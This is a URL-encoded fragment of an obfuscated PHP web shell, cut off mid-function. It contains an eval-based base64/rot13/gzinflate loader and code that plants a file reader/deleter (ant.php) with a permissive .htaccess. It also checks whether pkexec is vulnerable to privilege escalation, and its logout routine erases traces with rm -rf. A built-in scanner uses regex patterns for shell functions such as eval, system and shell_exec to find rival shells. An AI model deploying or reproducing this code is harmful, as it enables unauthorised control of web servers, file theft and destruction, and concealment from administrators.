3ZOMS85M0d0cS8wRnovMGMyM1FLa3FxeDZXV1hYdnh4OFdqWW55U1hRUExGYlNDcWVOZ0FWdU9Qd1pIMjdBakVURXFXNWVYZzIxY0Rtbk0wTjBqb2l4c1hWN1Y3dTJ1NFRNclkzZ1hVTGNJMmpKOUswd2l3elpTRnVNeGNyK1NUdEZzbytuMk1WVXVYV3NvUFl6S3FLc1ZlZ2haeFVxVVlSMGl4TUxMNlJINVZubGdyTDlQNUZFa2UwTE44VjB1NG1KcGdoOGdMQkhxbjB5OFNMSWdHMktxUjFRQ2ovMEFWdk9sVytyOGsyajZSaXh5VzhmcU5pejhuTjd3bnIwVGdXamkrS0Z3KzR0QzRXZlhIWFAwSHk2YVBwL3FNdzI2R0I1N3ZhbFBOdUhlcHZjdE0vbkZKbkF1RnZ5YmcrTFdtQnRjZTVOR04wUW1FbGhGb0lteTRPTW9ub0RGWVFMc2NSNUZnVmpqU0dXU0YxWnFMa0wwRms4cFlZTWVRSXNwWTRETjZwQWhGR0hDRzVoU0xjSFNEbFh5T2RHajhSNEJINHhZM1U0ZEdMSVFWRDc0REtVaGNjZ215VE9JUU5uZjhnM0pYd1lyQy83V2lLdFkrZmE3WDFmU09RMFEySFZjTWIwZ3d5dnVFUU1WOWhXUDhvSXJtRlVDU3hBWWRWQWhRT0FkRUJDV3VOQlB5ZU5GQlBjWVRBRVpKbzlNd2lLN2ZHVS9QWWRBY294SVZSNEpYNER4TnhLN1FaMEhEQURnRTdBdXdBUS9KS0o1MHpISUJQZGNFQTVrdEE1L3owOUtSOTFzY3R5a0g2WDVVNGozTk5LQUdWbVZRSEF6MjFvVFZRKzlmMThYUzBoMkQxNkdqYk9EK1hZcUpEQUI4TE9IWi83TGRrQkNjUURvcEEwWVRleldqL0dEa1ZSQ2dzNUhIZ0VYY2czV20vcTI0dzNCRmN3NERRbURTVzZvaWtPdUlvaW1Sc2ZXYUREVDJYYmhSdVVNOVJBK1B5L0dJNGJHS01Hd05GL3JaNzNQM2N4eUc0eFhRQ2hZanhDTFhxYUN3VHRmQm9MQlpTMHJGeGZIcWsza2kvOSt2Sk9kSlJadUUvUXc4NUpoMlFOSmJndHBoMk1NSHQ2eVk2SUpmZHpxOTkzTnhjWlFaRnVLSGdFWjErNzd5Tml5c2Q0WHNPTGlnd1BLTFR2Y0Urd1BBSSsvQ0NKc2h5Z2w0aTZPV0JBcHlldDN0SzNRN09wMEU5eDU5bWhtWUpXd2VrMit1ZG5DUDMyMTNmcHg1bHQ4dzFNTTQ3eU9lZlpvWjhhL0d3Z0dmN29DUGQ2MVgwLzgrSnVmMGxZWWQ5aTlzZ3h6anhOQU51M3dhdU1NZzN1emEzQkM0T0t3OVM1cU1Vb3VWRUZQL3FjREpzOU4rS2wvUStYUUhGMHZRK2U1SlJnNUNFNUpVdERtU0ZWS3pldFhmaGRiQUpmbUdTbDRRNGhQSkdwQnJxOVpnT0NHbHBzaVdzaFlKSVU5TUN6TklWRGdNcEErbjRLdHJyVEQwNjNHSDVCYk1nY2U3ZUU5OHkrN3V3L0RMZkNQMlhkNmNQK1BqN1owdWlYdjNXdjlLSXBTMU9JYU5pWGgrOFhSRngySmJ1VytiN1ZYWlllalF0b0N0ZG9FajIwVlhUY3lzWnBHZXcxcjBVQVVYaFRvdFhLamZwVU9tWndTeENkbkhwUkN6TFRCcE1iUlNEL0tWeTZhZ3NwbVlWbG1yVzdWZmp2YXl4elJXbzVPdENjV2hYU1lwbFVhb1dqMnhKMDVMVStCU1hBVWhzREQydDZreVNpcU9aeUVnY1NFcFNNaEszM2g1TGlyTWdJbThpSVNhSUZmREp3cCtsZmZieVZ5ZTFna3dsME5UMmNlODUydTVONTNhbFJ1bWF3cXdhTGgyUHFvanJMSXZ3MHVKVXFVYlQySU96dkY3R3NseXlXVWhlU05WMHRaN3NNYTNkS3RtZDdGaFd5RmZremJyMFphRDFxc0F0RFZKL1NvS0RBOHZhdWVRYTlQRkZWbCt1YzJLOW1tS3RnQzlLaVZSbEpXM1pwYXh0UXRiM25jSlhpQ2VSMktqWU01THlyNEthdVVYbWJiYXk3amszK2k1cmR6SlFBYmNXOGpQNUlFTDhMSWdxc3QvYWdxUGk1WndYV3Y2SWdtVG95MFB2SEIxbE1tckV0RFhZWElvRDQraGpDcVlpUG8ybzA0ckNTeHg5cEpZNE5PWFZvMUNUdzJJS1JISjlDOVZDNFRwclRaSHR5cm9xdWFKSHFWZ2IvcFY5VDdQSnB0WjJSblhWeTMvRmtqM1NNYkZjcWtDcDZFT29iNjY2dUlTV2R1dHZVcmZBbWxKL2xhS2tobGJiTlFWV0ovbFlHUy9vcVhIS3FTay9zOStGRFBhUGRCaGxSMWx2NGM1MkFIM1l3QjRZaFB1U0NlZlMwWmJxWW5vZFQzT05JTHdjSlpySkVtNzU3UklDV0ZOVjRhUkJFOFQ5Q0k1Tk5XeXZVeHc2Z3VQWCt6WHByR05uc0w5Zk94cEwyWlF2U0ZaR2VOMVZxZ1lWV0JXaFluVjVjLzBxTFNaRnRhekpvZEl2MVdCZ3FFWkRLVWhFV2hhY0UrYU9JMnh5SklQVk8vTG1wMzM3L2ozY21JdGpObXJoeHNFK0RENVVwcXI4K0k1VW5wU1Q2Mk01Q2VRem5CMmFxc2tMVDZuL2dseFVIUkVsbnhNRkkySUl3ZkpNYUFRbkx6WmVGdmFEeUMvSkFjbXBPSkdlbFZkMHhqc01MWWk4eEIzYmlYenlMaFBza0FFN1lIZjNoeCtrSTVoaElEK2NsWitwZGx5UW40LytEUT09IjsKZXZhbChzdHJfcm90MTMoZ3ppbmZsYXRlKHN0cl9yb3QxMyhiYXNlNjRfZGVjb2RlKCgkaGV4KSkpKSkpOyA%3D%22%3B%20%24mass%20%3D%20fopen%28%24file%5fmass%2C%20%22w%22%29%3B%20fwrite%28%24mass%2C%20%24GLOBALS%5B%22tinh%22%5D%5B30%5D%28%24mass%5fscript%29%29%3B%20fclose%28%24mass%29%3B%20echo%20%22%3Cbr%3E%3Ccenter%3E%20%20%3Ciframe%20src%3D%27.tmp%2Fcfg.php%27%20width%3D%27900%27%20height%3D%27480%27%3E%3C%2Fiframe%3E%3C%2Fa%3E%22%3B%20echo%20%22%3C%2Fdiv%3E%22%3B%20hardFooter%28%29%3B%20%7D%20function%20hapus%5fdirektori%28%24nama%5fdir%29%20%7B%20if%20%28is%5fdir%28%24nama%5fdir%29%29%20%7B%20%24files%20%3D%20scandir%28%24nama%5fdir%29%3B%20foreach%20%28%24files%20as%20%24file%29%20%7B%20if%20%28%24file%20!%3D%20%22.%22%20%26%26%20%24file%20!%3D%20%22..%22%29%20%7B%20hapus%5fdirektori%28%22%24nama%5fdir%2F%24file%22%29%3B%20%7D%20%7D%20rmdir%28%24nama%5fdir%29%3B%20%7D%20else%20%7B%20unlink%28%24nama%5fdir%29%3B%20%7D%20%7D%20function%20pk%28%29%20%7B%20if%20%28!is%5ffile%28%22%2Fusr%2Fbin%2Fpkexec%22%29%29%20%7B%20%24result%20%3D%20%22%20%7C%20Pkexec%20is%20missing%20%22%3B%20%7D%20else%20%7B%20%24pkexec%5fmtime%20%3D%20filemtime%28%22%2Fusr%2Fbin%2Fpkexec%22%29%3B%20%24u%20%3D%20date%28%22Y-m-d%22%2C%20%24pkexec%5fmtime%29%3B%20if%20%28%24pkexec%5fmtime%20%3C%3D%20strtotime%28%222021-12-31%22%29%29%20%7B%20%24result%20%3D%20%22Vuln%20%28%24u%29%22%3B%20%7D%20else%20%7B%20%24result%20%3D%20%22%3Cfont%20color%3D%23FF0000%3ENot%20Vuln%20%28%24u%29%3C%2Ffont%3E%22%3B%20%7D%20%7D%20return%20%24result%3B%20%7D%20function%20lp%28%29%20%7B%20if%20%28!is%5ffile%28%22%2Fusr%2Fbin%2Fpkexec%22%29%29%20%7B%20%24result%20%3D%20%22%20%22%3B%20%7D%20else%20%7B%20if%20%28substr%28sprintf%28%22%25o%22%2C%20fileperms%28%22%2Fusr%2Fbin%2Fpkexec%22%29%29%2C%20-4%29%20%3E%3D%20%224000%22%29%20%7B%20%24result%20%3D%20%22%3Cfont%20color%3D%22.COLOR%5f2.%22%3ESUID%3C%2Ffont%3E%22%3B%20%7D%20else%20%7B%20%24result%20%3D%20%22%3Cfont%20color%3D%23FF0000%3ESUID%3C%2Ffont%3E%22%3B%20%7D%20%7D%20return%20%24result%3B%20%7D%20function%20actionLogout%28%29%20%7B%20%24GLOBALS%5B%22tinh%22%5D%5B0%5D%28%22rm%20-rf%20.tmp%20.tmp%5fcgi%20adminer.php%22%29%3B%20hapus%5fdirektori%28%22.tmp%22%29%3B%20session%5funset%28%29%3B%20session%5fdestroy%28%29%3B%20%24GLOBALS%5B%22tinh%22%5D%5B10%5D%28%22felicia%22%2C%20%22%22%2C%203600%29%3B%20%24GLOBALS%5B%22tinh%22%5D%5B10%5D%28%20%24GLOBALS%5B%22tinh%22%5D%5B8%5D%28%24%5fSERVER%5B%22HTTP%5fHOST%22%5D%29%20.%20%22key%22%2C%20%22%22%2C%203600%20%29%3B%20%24GLOBALS%5B%22tinh%22%5D%5B10%5D%28%24GLOBALS%5B%22tinh%22%5D%5B8%5D%28%24%5fSERVER%5B%22HTTP%5fHOST%22%5D%29%2C%20%22%22%2C%203600%29%3B%20echo%20%27%3Cscript%3Ewindow.location%3D%22%27%20.%20%24%5fSERVER%5B%22PHP%5fSELF%22%5D%20.%20%27%22%3B%3C%2Fscript%3E%27%3B%20%7D%20function%20actionAntivirus%28%29%7B%20hardHeader%28%29%3B%20echo%20%22%3Ccenter%3E%3Ch1%3EAntivirus%3C%2Fh1%3E%3Cdiv%20class%3Dcontent%3E%3Cbr%3E%22%3B%20%40%24GLOBALS%5B%22tinh%22%5D%5B11%5D%28%22display%5ferrors%22%2C%200%29%3B%20%24cgi%5fdir%20%3D%20mkdir%28%22.tmp%22%2C%200755%29%3B%20chdir%28%22.tmp%22%29%3B%20%24cui%20%3D%20fopen%28%22%5Cx2E%5Cx68%5Cx74%5Cx61%5Cx63%5Cx63%5Cx65%5Cx73%5Cx73%22%2C%20%22w%22%29%3B%20fwrite%28%20%24cui%2C%20%24GLOBALS%5B%22tinh%22%5D%5B30%5D%28%20%22PEZpbGVzICoucGhwPgpBbGxvdyBmcm9tIGFsbAo8L0ZpbGVzPg%3D%3D%22%20%29%20%29%3B%20fclose%28%24cui%29%3B%20%24file%5fmass%20%3D%20%22ant.php%22%3B%20%24mass%5fscript%20%3D%20%22%2520%253C%253Fphp%2520if%2528isset%2528%2524%255fGET%255B%2527page%2527%255D%2529%2529%257B%2520%2524file%2520%253D%2520%2524%255fGET%255B%2527page%2527%255D%253B%2520echo%2520%2527%253Ccenter%253EContents%2520of%2520file%253A%253Cbr%253E%253Ctextarea%2520style%253D%2522width%253A%25201507px%253B%2520height%253A%2520396px%253B%2522%253E%2527.htmlspecialchars%2528file%255fget%255fcontents%2528%2524file%2529%2529.%2527%253C%252Ftextarea%253E%253Cbr%253E%253Cbutton%2520onclick%253D%2522history.back%2528%2529%2522%253EGo%2520Back%253C%252Fbutton%253E%253C%252Fcenter%253E%2527%253B%2520%257D%2520elseif%2528isset%2528%2524%255fGET%255B%2527unlink%2527%255D%2529%2529%257B%2520%2524nama%255ffile%2520%253D%2520%2524%255fGET%255B%2527unlink%2527%255D%253B%2520if%2520%2528!unlink%2528%2524nama%255ffile%2529%2529%2520%257B%2520echo%2520%2527Gagal%2520menghapus%2520file%253Cbr%253E%253Cbutton%2520onclick%253D%2522history.back%2528%2529%2522%253EGo%2520Back%253C%252Fbutton%253E%2527%253B%2520%257D%2520else%2520%257B%2520echo%2520%2527File%2520berhasil%2520dihapus%253Cbr%253E%253Cbutton%2520onclick%253D%2522history.back%2528%2529%2522%253EGo%2520Back%253C%252Fbutton%253E%2527%253B%2520%257D%2520%257D%2520else%257B%2520%2524roa%2520%253D%2520%255B%2520%2522%255Cx62%255Cx61%255Cx73%255Cx65%255Cx36%255Cx34%255Cx5F%255Cx64%255Cx65%255Cx63%255Cx6F%255Cx64%255Cx65%2522%252C%2520%2522%255Cx66%255Cx75%255Cx6E%255Cx63%255Cx74%255Cx69%255Cx6F%255Cx6E%255Cx5F%255Cx65%255Cx78%255Cx69%255Cx73%255Cx74%255Cx73%2522%252C%2520%2522%255Cx69%255Cx6E%255Cx69%255Cx5F%255Cx73%255Cx65%255Cx74%2522%252C%2520%255D%253B%2520%2540%2524GLOBALS%255B%2527roa%2527%255D%255B2%255D%2528%2527error%255flog%2527%252C%2520NULL%2529%253B%2520%2540%2524GLOBALS%255B%2527roa%2527%255D%255B2%255D%2528%2527log%255ferrors%2527%252C%25200%2529%253B%2520%2540%2524GLOBALS%255B%2527roa%2527%255D%255B2%255D%2528%2527max%255fexecution%255ftime%2527%252C%25200%2529%253B%2520%2540%2524GLOBALS%255B%2527roa%2527%255D%255B2%255D%2528%2527output%255fbuffering%2527%252C%25200%2529%253B%2520%2540%2524GLOBALS%255B%2527roa%2527%255D%255B2%255D%2528%2527display%255ferrors%2527%252C%25200%2529%253B%2520%2540%2524GLOBALS%255B%2527roa%2527%255D%255B2%255D%2528%2527ignore%255fuser%255fabort%2527%252C%25201%2529%253B%2520%2524scandir%2520%253D%2520scandirr%2528%2529%253B%2520%2524typearr%2520%253D%2520isset%2528%2524%255fPOST%255B%2522dir%2522%255D%2529%2520%253F%2520%2524%255fPOST%255B%2522types%2522%255D%2520%253A%2520%255B%2522php%2522%2520%253D%253E%2520%2522.php%2522%255D%253B%2520echo%2520%2527%253Clink%2520rel%253D%2522stylesheet%2522%2520href%253D%2522%252F%252Fxnxx.co.ws%252Fmeki.css%2522%253E%253Ccenter%253E%253Cbr%2520%252F%253E%253Cform%2520method%253D%2522POST%2522%253E%2527%253B%2520echo%2520%2527%253Ctable%2520class%253D%2522tables%2522%253E%253Ctr%253E%253Cth%253EName%253C%252Fth%253E%253Cth%253ESetup%253C%252Fth%253E%253C%252Ftr%253E%2527%253B%2520echo%2520%2527%253Ctr%253E%253Cth%253EScan%2520path%253C%252Fth%253E%253Cth%253E%253Cinput%2520type%253D%2522text%2522%2520class%253D%2522form-control%2520btn-sm%2522%2520name%253D%2522dir%2522%2520required%2520value%253D%2522%2527%2520.%2520htmlspecialchars%2528%2524scandir%2529%2520.%2520%2527%2522%2520style%253D%2522width%253A345px%253B%2522%253E%2520%2528Regular%2520matching%2529%253C%252Fth%253E%253C%252Ftr%253E%2527%253B%2520echo%2520%2522%253Ctr%253E%253Cth%253EType%2520of%2520killing%253C%252Fth%253E%253Cth%253E%2522%253B%2520%2524types%2520%253D%2520%255B%2520%2522php%2522%2520%253D%253E%2520%2522.php%257C.phtml%257C.PhP%257C.php5%257C.pHp%257C.phar%257C.php7%257C.php8%257C.php6%257C.php4%2522%252C%2520%2522asp%252Baspx%2522%2520%253D%253E%2520%2522.as%257C.cs%257C.cer%2522%252C%2520%2522jsp%2522%2520%253D%253E%2520%2522.jsp%2522%252C%2520%255D%253B%2520foreach%2520%2528%2524types%2520as%2520%2524key%2520%253D%253E%2520%2524ex%2529%2520%257B%2520echo%2520%2527%253Clabel%2520title%253D%2522%2527%2520.%2520%2524ex%2520.%2520%2527%2522%253E%253Cinput%2520type%253D%2522checkbox%2522%2520name%253D%2522types%255B%2527%2520.%2520%2524key%2520.%2520%2527%255D%2522%2520value%253D%2522%2527%2520.%2520%2524ex%2520.%2520%2527%2522%2527%2520.%2520%2528%2524typearr%255B%2524key%255D%2520%253D%253D%2520%2524ex%2520%253F%2520%2522%2520checked%2522%2520%253A%2520%2522%2522%2529%2520.%2520%2522%253E%2522%2520.%2520%2524key%2520.%2520%2522%253C%252Flabel%253E%2522%253B%2520%257D%2520echo%2520%2527%253C%252Fth%253E%253C%252Ftr%253E%253Ctr%253E%253Cth%253EAction%253C%252Fth%253E%253Cth%253E%253Cdiv%2520class%253D%2522d-grid%2520gap-2%2522%253E%253Cinput%2520class%253D%2522btn%2520btn-dark%2520btn-sm%2522%2520type%253D%2522submit%2522%2520name%253D%2522wa%2522%2520value%253D%2522Go%2522%253E%253C%252Fdiv%253E%253C%252Fth%253E%253C%252Ftr%253E%2527%253B%2520echo%2520%2522%253C%252Fform%253E%253C%252Fcenter%253E%2522%253B%2520if%2528!empty%2528%2524%255fPOST%255B%2527types%2527%255D%2529%2529%257B%2520echo%2520%2527%253C%252Ftable%253E%253Ctable%2520class%253D%2522tables%2522%253E%253Ctr%253E%253Cth%253ECode%253C%252Fth%253E%253Cth%253EPATH%253C%252Fth%253E%253Cth%253EOptions%253C%252Fth%253E%253C%252Ftr%253E%2527%253B%2520if%2520%2528is%255fcountable%2528%2524%255fPOST%255B%2522types%2522%255D%2529%2520%2526%2526%2520count%2528%2524%255fPOST%255B%2522types%2522%255D%2529%2520%253E%25200%2529%2520%257B%2520%2524matches%2520%253D%2520%255B%2520%2522php%2522%2520%253D%253E%2520%255B%2520%2527%252Frawurldecode%257Cgzinflate%257Cgzdeflate%257Cstr%255frot13%257Cuhex%257Chex%257Cbin2hex%257Chex2bin%257Cbase64%255C%255C%255fdecode%257Cstream%255C%255C%255fget%255C%255C%255fmeta%255C%255C%255fdata%257Cfunction%255C%255C%255fexists%255C%255Cs%252a%255C%255C%2528%255C%255Cs%252a%255B%255C%2527%257C%255C%255C%2522%255D%2528popen%257Cexec%257Cproc%255C%255C%255fopen%257Csystem%257Cpassthru%2529%252B%255B%255C%2527%257C%255C%255C%2522%255D%255C%255Cs%252a%255C%255C%2529%252Fi%2527%252C%2520%2527%252F%2528rawurldecode%257Cgzinflate%257Cgzdeflate%257Cstr%255frot13%257Cuhex%257Chex%257Cbin2hex%257Chex2bin%257Cbase64%255C%255C%255fdecode%257Cstream%255C%255C%255fget%255C%255C%255fmeta%255C%255C%255fdata%257Cexec%257Cshell%255C%255C%255fexec%257Csystem%257Cpassthru%2529%252B%255C%255Cs%252a%255C%255C%2528%255C%255Cs%252a%255C%255C%2524%255C%255C%255f%2528GET%257CPOST%257CCOOKIE%257CSERVER%257CSESSION%2529%252B%255C%255C%255B%2528.%252a%2529%255C%255C%255D%255C%255Cs%252a%255C%255C%2529%252Fi%2527%252C%2520%2522%252F%2528udp%255C%255C%253A%255C%255C%252F%255C%255C%252F%2528.%252a%2529%255C%255C%253B%2529%252B%252Fi%2522%252C%2520%2527%252Fpreg%255C%255C%255freplace%255C%255Cs%252a%255C%255C%2528%2528.%252a%2529%255C%255C%252Fe%2528.%252a%2529%255C%255C%252C%255C%255Cs%252a%255C%255C%2524%255C%255C%255f%2528.%252a%2529%255C%255C%252C%2528.%252a%2529%255C%255C%2529%252Fi%2527%252C%2520%2527%252Fpreg%255C%255C%255freplace%255C%255Cs%252a%255C%255C%2528%2528.%252a%2529%255C%255C%2528base64%255C%255C%255fdecode%255C%255C%2528%255C%255C%2524%252Fi%2527%252C%2520%2522%252F%2528eval%257Cassert%257Cinclude%257Crequire%2529%252B%255C%255Cs%252a%255C%255C%2528%2528.%252a%2529%2528base64%255C%255C%255fdecode%257Cfile%255C%255C%255fget%255C%255C%255fcontents%257Cphp%255C%255C%253A%255C%255C%252F%255C%255C%252Finput%2529%252B%252Fi%2522%252C%2520%2527%252F%2528rawurldecode%257Cgzinflate%257Cgzdeflate%257Cstr%255frot13%257Cuhex%257Chex%257Cbin2hex%257Chex2bin%257Cbase64%255C%255C%255fdecode%257Cstream%255C%255C%255fget%255C%255C%255fmeta%255C%255C%255fdata%257Ceval%257Cassert%257Cinclude%257Crequire%257Carray%255C%255C%255fmap%2529%252B%255C%255Cs%252a%255C%255C%2528%255C%255Cs%252a%255C%255C%2524%255C%255C%255f%2528GET%257CPOST%257CCOOKIE%257CSERVER%257CSESSION%2529%252B%255C%255C%255B%2528.%252a%2529%255C%255C%255D%255C%255Cs%252a%255C%255C%2529%252Fi%2527%252C%2520%2527%252F%255C%255C%2524%255C%255C%255f%2528GET%257CPOST%257CCOOKIE%257CSERVER%257CSESSION%2529%252B%2528.%252a%2529%2528eval%257Cassert%257Cinclude%257Crequire%2529%252B%255C%255Cs%252a%255C%255C%2528%255C%255Cs%252a%255C%255C%2524%2528%255C%255Cw%252B%2529%255C%255Cs%252a%255C%255C%2529%252Fi%2527%252C%2520%2527%252F%255C%255C%2524%255C%255C%255f%2528GET%257CPOST%257CCOOKIE%257CSERVER%257CSESSION%2529%252B%255C%255C%255B%2528.%252a%2529%255C%255C%255D%255C%255C%2528%255C%255Cs%252a%255C%255C%2524%2528.%252a%2529%255C%255C%2529%252Fi%2527%252C%2520%2527%252F%255C%255C%2528%255C%255Cs%252a%255C%255C%2524%255C%255C%255fFILES%255C%255C%255B%2528.%252a%2529%255C%255C%255D%255C%255C%255B%2528.%252a%2529%255C%255C%255D%255C%255Cs%252a%255C%255C%252C%255C%255Cs%252a%255C%255C%2524%255C%255C%255fFILES%255C%255C%255B%2528.%252a%2529%255C%255C%255D%255C%255C%255B%2528.%252a%2529%255C%255C%255D%255C%255Cs%252a%255C%255C%2529%252Fi%2527%252C%2520%2527%252F%2528rawurldecode%257Cgzinflate%257Cgzdeflate%257Cstr%255frot13%257Cuhex%257Chex%257Cbin2hex%257Chex2bin%257Cbase64%255C%255C%255fdecode%257Cstream%255C%255C%255fget%255C%255C%255fmeta%255C%255C%255fdata%257Cfopen%257Cfwrite%257Cfpust%257Cfile%255C%255C%255fput%255C%255C%255fcontents%2529%252B%255C%255Cs%252a%255C%255C%2528%2528.%252a%2529%255C%255C%2524%255C%255C%255f%2528GET%257CPOST%257CCOOKIE%257CSERVER%257CSESSION%2529%252B%255C%255C%255B%2528.%252a%2529%255C%255C%255D%2528.%252a%2529%255C%255C%2529%252Fi%2527%252C%2520%2527%252Fecho%255C%255Cs%252acurl%255C%255C%255fexec%255C%255Cs%252a%255C%255C%2528%255C%255Cs%252a%255C%255C%2524%2528%255C%255Cw%252B%2529%255C%255Cs%252a%255C%255C%2529%252Fi%2527%252C%2520%2527%252Fnew%2520com%255C%255Cs%252a%255C%255C%2528%255C%255Cs%252a%255B%255C%2527%257C%255C%255C%2522%255Dshell%2528.%252a%2529%255B%255C%2527%257C%255C%255C%2522%255D%255C%255Cs%252a%255C%255C%2529%252Fi%2527%252C%2520%2527%252F%255C%255C%2524%2528.%252a%2529%255C%255Cs%252a%255C%255C%2528%2528.%252a%2529%255C%255C%252Fe%2528.%252a%2529%255C%255C%252C%255C%255Cs%252a%255C%255C%2524%255C%255C%255f%2528.%252a%2529%255C%255C%252C%2528.%252a%2529%255C%255C%2529%252Fi%2527%252C%2520%2527%252F%255C%255C%2524%255C%255C%255f%255C%255C%253D%2528.%252a%2529%255C%255C%2524%255C%255C%255f%252Fi%2527%252C%2520%255D%252C%2520%2522asp%252Baspx%2522%2520%253D%253E%2520%255B%2520%2522%252F%2528VBScript%255C%255C.Encode%257CWScript%255C%255C.shell%257CShell%255C%255C.Application%257CScripting%255C%255C.FileSystemObject%2529%252B%252Fi%2522%252C%2520%2522%252F%2528eval%257Cexecute%2529%252B%2528.%252a%2529%2528request%257Csession%2529%252B%255C%255Cs%252a%255C%255C%2528%2528.%252a%2529%255C%255C%2529%252Fi%2522%252C%2520%2522%252F%2528eval%257Cexecute%2529%252B%2528.%252a%2529request.item%255C%255Cs%252a%255C%255C%255B%2528.%252a%2529%255C%255C%255D%252Fi%2522%252C%2520%2522%252Frequest%255C%255Cs%252a%255C%255C%2528%2528.%252a%2529%255C%255C%2529%2528.%252a%2529%2528eval%257Cexecute%2529%252B%255C%255Cs%252a%255C%255C%2528%2528.%252a%2529%255C%255C%2529%252Fi%2522%252C%2520%2522%252F%255C%255C%253Cscript%255C%255Cs%252arunat%255C%255Cs%252a%255C%255C%253D%2528.%252a%2529server%2528.%252a%2529%255C%255C%253E%2528.%252a%2529%255C%255C%253C%255C%255C%252Fscript%255C%255C%253E%252Fi%2522%252C%2520%2522%252FLoad%255C%255Cs%252a%255C%255C%2528%2528.%252a%2529Request%252Fi%2522%252C%2520%2522%252FStreamWriter%255C%255C%2528Server%255C%255C.MapPath%2528.%252a%2529%255C%255C.Write%255C%255C%2528Request%252Fi%2522%252C%2520%255D%252C%2520%2522jsp%2522%2520%253D%253E%2520%255B%2520%2522%252F%2528eval%257Cexecute%2529%252B%2528.%252a%2529%2528request%257Csession%2529%252B%255C%255Cs%252a%255C%255C%2528%2528.%252a%2529%255C%255C%2529%252Fi%2522%252C%2520%2522%252F%2528eval%257Cexecute%2529%252B%2528.%252a%2529request.item%255C%255Cs%252a%255C%255C%255B%2528.%252a%2529%255C%255C%255D%252Fi%2522%252C%2520%2522%252Frequest%255C%255Cs%252a%255C%255C%2528%2528.%252a%2529%255C%255C%2529%2528.%252a%2529%2528eval%257Cexecute%2529%252B%255C%255Cs%252a%255C%255C%2528%2528.%252a%2529%255C%255C%2529%252Fi%2522%252C%2520%2522%252FRuntime%255C%255C.getRuntime%255C%255C%2528%255C%255C%2529%255C%255C.exec%255C%255C%2528%2528.%252a%2529%255C%255C%2529%252Fi%2522%252C%2520%2522%252FFileOutputStream%255C%255C%2528application%255C%255C.getRealPath%2528.%252a%2529request%252Fi%2522%252C%2520%255D%252C%2520%255D%253B%2520flush%2528%2529%253B%2520ob%255fflush%2528%2529%253B%2520%2524isread%2520%253D%2520antivirus%2528%2520strdir%2528%2524scandir%2520.%2520%2522%252F%2522%2529%252C%2520%2524typearr%252C%2520%2524matches%252C%2520%2524nowdir%2520%2529%253B%2520echo%2520%2528%2524isread%2520%253F%2520%2522%253Cbr%253EScan%2520Complete%2522%2520%253A%2520%2522%253Cbr%253EScan%2520Failed%2522%2529%253B%2520%257D%2520%257D%2520%257D%2520function%2520antivirus%2528%2524dir%252C%2520%2524exs%252C%2520%2524matches%252C%2520%2524now%2529%2520%257B%2520%2524handle%2520%253D%2520opendir%2528%2524dir%2529%253B%2520if%2520%2528!%2524handle%2529%2520%257B%2520return%2520false%253B%2520%257D%2520while%2520%2528%2524name%2520%253D%2520readdir%2528%2524handle%2529%2529%2520%257B%2520if%2520%2528%2524name%2520%253D%253D%2520%2522.%2522%2520%257C%257C%2520%2524name%2520%253D%253D%2520%2522..%2522%2529%2520%257B%2520continue%253B%2520%257D%2520%2524path%2520%253D%2520%2524dir%2520.%2520%2524name%253B%2520if%2520%2528is%255fdir%2528%2524path%2529%2529%2520%257B%2520if%2520%2528is%255freadable%2528%2524path%2529%2529%2520%257B%2520antivirus%2528%2524path%2520.%2520%2522%252F%2522%252C%2520%2524exs%252C%2520%2524matches%252C%2520%2524now%2529%253B%2520%257D%2520%257D%2520else%2520%257B%2520%2524iskill%2520%253D%2520null%253B%2520foreach%2520%2528%2524exs%2520as%2520%2524key%2520%253D%253E%2520%2524ex%2529%2520%257B%2520if%2520%2528find%2528explode%2528%2522%257C%2522%252C%2520%2524ex%2529%252C%2520%2524name%2529%2529%2520%257B%2520%2524iskill%2520%253D%2520%2524key%253B%2520break%253B%2520%257D%2520%257D%2520if%2520%2528strpos%2528size%2528filesize%2528%2524path%2529%2529%252C%2520%2522M%2522%2529%2529%2520%257B%2520continue%253B%2520%257D%2520if%2520%2528%2524iskill%2529%2520%257B%2520%2524code%2520%253D%2520filer%2528%2524path%2529%253B%2520foreach%2520%2528%2524matches%255B%2524iskill%255D%2520as%2520%2524matche%2529%2520%257B%2520%2524array%2520%253D%2520%255B%255D%253B%2520preg%255fmatch%2528%2524matche%252C%2520%2524code%252C%2520%2524array%2529%253B%2520if%2520%2528%2520strpos%2528%2524array%255B0%255D%252C%2520%2527%2524this-%253E%2527%2529%2520%257C%257C%2520strpos%2528%2524array%255B0%255D%252C%2520%2527%255B%2524vars%255B%2527%2529%2520%2529%2520%257B%2520continue%253B%2520%257D%2520%2524len%2520%253D%2520strlen%2528%2524array%255B0%255D%2529%253B%2520if%2520%2528%2524len%2520%253E%252010%2520%2526%2526%2520%2524len%2520%253C%2520150%2529%2520%257B%2520%2524file%2520%253D%2520strtr%2528%2524path%252C%2520%255B%2520%2524now%2520%253D%253E%2520%2522%2522%252C%2520%2527%255C%2527%2527%2520%253D%253E%2520%2522%252527%2522%252C%2520%2527%2522%2527%2520%253D%253E%2520%2522%252522%2522%252C%2520%255D%2529%253B%2520echo%2520%2527%253Ctr%253E%253Cth%253E%2527.htmlspecialchars%2528%2524array%255B0%255D%2529.%2527%253C%252Fth%253E%253Cth%253E%2527.%2524path.%2527%253C%252Fth%253E%253Cth%253E%253Ca%2520href%253D%2522%253Fpage%253D%2527.%2524path.%2527%2522%253EView%253C%252Fa%253E%2520%257C%2520%253Ca%2520href%253D%2522%253Funlink%253D%2527.%2524path.%2527%2522%253EDelete%253C%252Fa%253E%253C%252Fth%253E%253C%252Ftr%253E%2527%2520.%2520flush%2528%2529%253B%2520ob%255fflush%2528%2529%253B%2520break%253B%2520%257D%2520%257D%2520unset%2528%2524code%252C%2520%2524array%2529%253B%2520%257D%2520%257D%2520%257D%2520closedir%2528%2524handle%2529%253B%2520return%2520true%253B%2520%257D%2520function%2520strdir%2528%2524str%2529%2520%257B%2520return%2520str%255freplace%2528%2520%255B%2522%255C%255C%2522%252C%2520%2522%252F%252F%2522%252C%2520%2522%252527%2522%252C%2520%2522%252522%2522%255D%252C%2520%255B%2522%252F%2522%252C%2520%2522%252F%2522%252C%2520%2527%255C%2527%2527%252C%2520%2527%2522%2527%255D%252C%2520chop%2528%2524str%2529%2520%2529%253B%2520%257D%2520function%2520find%2528%2524array%252C%2520%2524string%2529%2520%257B%2520foreach%2520%2528%2524array%2520as%2520%2524key%2529%2520%257B%2520if%2520%2528stristr%2528%2524string%252C%2520%2524key%2529%2529%2520%257B%2520return%2520true%253B%2520%257D%2520%257D%2520return%2520false%253B%2520%257D%2520function%2520size%2528%2524bytes%2529%2520%257B%2520if%2520%2528%2524bytes%2520